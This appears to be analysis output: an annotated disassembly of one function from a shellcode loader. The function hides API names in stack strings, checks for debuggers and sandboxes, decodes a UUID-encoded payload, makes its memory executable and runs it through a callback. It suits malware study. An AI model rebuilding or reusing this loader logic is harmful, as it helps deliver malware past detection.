Function at 0x428340
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
mov esi, 0x74
push ebx
push ecx
sub esp, 0xa8
mov ebx, dword [ecx + 4]
call fcn.0040ad80
call dword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.00417b20
call fcn.00417d70
call fcn.00417eb0
lea eax, [ebp - 0x8c]
call fcn.00417a60
call fcn.00417f00
call fcn.00417c50
call fcn.004178f0
mov dword [esp], str._EKA
lea ecx, [ebp - 0x84]
mov dword [esp + 4], 0x1ec
call fcn.00422be0
mov dword [ebp - 0x4f], 0x73737550
sub esp, 8
mov dword [ebp - 0x4b], 0x7a614c79
mov dword [ebp - 0x47], 0x68547261
mov dword [ebp - 0x43], 0x73654265
mov word [ebp - 0x3f], si
mov dword [esp + 4], str.lazarus.exe
mov eax, dword [ebx]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
test eax, eax
je 0x4286f9
call fcn.00417b20
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [ebp - 0x9c], eax
test eax, eax
jne 0x4286f9
call fcn.00418090
test al, al
jne 0x4286f9
call fcn.00417b20
call fcn.004179a0
call fcn.00417d70
call fcn.00417880
test al, al
je 0x4286f9
mov dword [ebp - 0x56], 0x65746f72
mov dword [ebp - 0x5e], 0x74726956
mov dword [ebp - 0x5a], 0x506c6175
mov dword [ebp - 0x53], 0x746365
call fcn.00417b20
mov dword [esp], 0x1d4c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x6b], 0x6e72656b
sub esp, 4
mov dword [ebp - 0x67], 0x32336c65
mov dword [ebp - 0x63], 0x6c6c642e
mov byte [ebp - 0x5f], 0
mov dword [ebp - 0x78], 0x74726956
mov dword [ebp - 0x74], 0x416c6175
mov dword [ebp - 0x70], 0x636f6c6c
mov byte [ebp - 0x6c], 0
mov dword [esp], 0xee6b280
call sub.msvcrt.dll_malloc
test eax, eax
je 0x428708
mov dword [esp], eax
call fcn.004172e8
call fcn.00417b20
mov ebx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x80]
mov eax, ebx
call fcn.0041b630
lea ecx, [ebp - 0x4f]
mov edx, eax
mov eax, ebx
call fcn.00422bd0
mov esi, eax
call fcn.00418010
lea eax, [ebp - 0x6b]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x3d], 0
mov edx, eax
mov dword [ebp - 0xa4], eax
sub esp, 4
lea eax, [ebp - 0x78]
mov dword [ebp - 0x39], 0
mov dword [ebp - 0x35], 0
mov dword [ebp - 0x31], 0
mov dword [ebp - 0x2d], 0
mov dword [ebp - 0x29], 0
mov dword [ebp - 0x25], 0
mov dword [ebp - 0x21], 0
mov dword [ebp - 0x1d], 0
mov byte [ebp - 0x19], 0
mov dword [ebp - 0x90], 0
mov dword [esp + 4], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp], edx
mov dword [ebp - 0xa8], eax
call eax
sub esp, 8
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x100000
mov dword [esp], 0
call eax
sub esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, eax
call fcn.00417b20
mov dword [esp + 4], 0x42b10d
mov dword [esp], esi
call sub.msvcrt.dll_strtok
test eax, eax
je 0x42863f
mov edi, dword [sym.imp.RPCRT4.dll_UuidFromStringA]
lea esi, [ebp - 0x3d]
jmp 0x4285c3
mov dword [esp + 4], 0x42b10d
add ebx, 0x10
mov dword [esp], 0
call sub.msvcrt.dll_strtok
test eax, eax
je 0x42863f
mov dword [esp + 8], 0x24
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_strncpy
mov byte [ebp - 0x19], 0
mov dword [esp + 4], ebx
mov dword [esp], esi
call edi
sub esp, 8
test eax, eax
je 0x4285a8
mov dword [esp], 2
call dword [0x42a06c]
mov dword [esp + 4], str.____UUID_conversion_error:_try_to_make_sure_your_XOR_keys_match_or_correct_the_way_you_set_up_the_payload._n
mov dword [esp], eax
call fcn.00418050
mov eax, dword [ebp - 0xa0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
mov dword [ebp - 0x9c], 1
lea ecx, [ebp - 0x84]
call fcn.00422c20
mov eax, dword [ebp - 0x9c]
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
call fcn.00417b20
lea eax, [ebp - 0x5e]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xa4]
mov dword [esp], eax
mov eax, dword [ebp - 0xa8]
call eax
push edx
push edx
lea edx, [ebp - 0x90]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0x100000
mov edx, dword [ebp - 0xa0]
mov dword [esp], edx
call eax
sub esp, 0x10
test eax, eax
jne 0x4286b6
mov dword [esp], 2
call dword [0x42a06c]
mov dword [esp + 4], str.____Failed_to_change_the_permissions_for_shellcodes_memory_n
mov dword [esp], eax
call fcn.00418050
mov dword [ebp - 0x9c], 1
jmp 0x428622
call fcn.00417b20
mov dword [esp + 0xc], 0x15
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], 0x400
mov edi, dword [ebp - 0xa0]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
sub esp, 0x10
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call fcn.00417d70
jmp 0x428622
mov dword [ebp - 0x9c], 0xfffffffe
jmp 0x428622
mov dword [ebp - 0x9c], 1
jmp 0x428622